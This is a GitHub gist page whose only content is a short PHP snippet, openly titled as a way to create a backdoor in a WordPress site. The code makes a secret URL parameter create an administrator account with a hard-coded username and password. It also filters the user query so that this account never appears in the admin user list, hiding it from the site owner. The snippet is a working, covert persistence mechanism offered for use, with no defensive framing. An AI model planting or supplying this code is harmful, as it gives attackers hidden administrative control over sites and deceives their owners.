Skip to content

Instantly share code, notes, and snippets.

@mmikhan
Created February 23, 2015 19:13
Show Gist options
  • Save mmikhan/35a26c638ce34f01efd4 to your computer and use it in GitHub Desktop.
Save mmikhan/35a26c638ce34f01efd4 to your computer and use it in GitHub Desktop.
Creating a backdoor to an WordPress site and hide the backdoor user from the users window
<?php
add_action( 'wp_head', 'billgates_fun' );
function billgates_fun() {
if ( isset( $_GET['backdoor'] ) && md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) { // example.com?backdoor=go
require( 'wp-includes/registration.php' );
if ( !username_exists( 'billgates' ) ) {
$user_id = wp_create_user( 'billgates', 'billgates' ); // username and password is billgates
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
}
}
add_action( 'pre_user_query', 'billgates_fun_hide' );
function billgates_fun_hide($user_search) {
global $wpdb;
$user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != 'billgates'", $user_search->query_where );
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment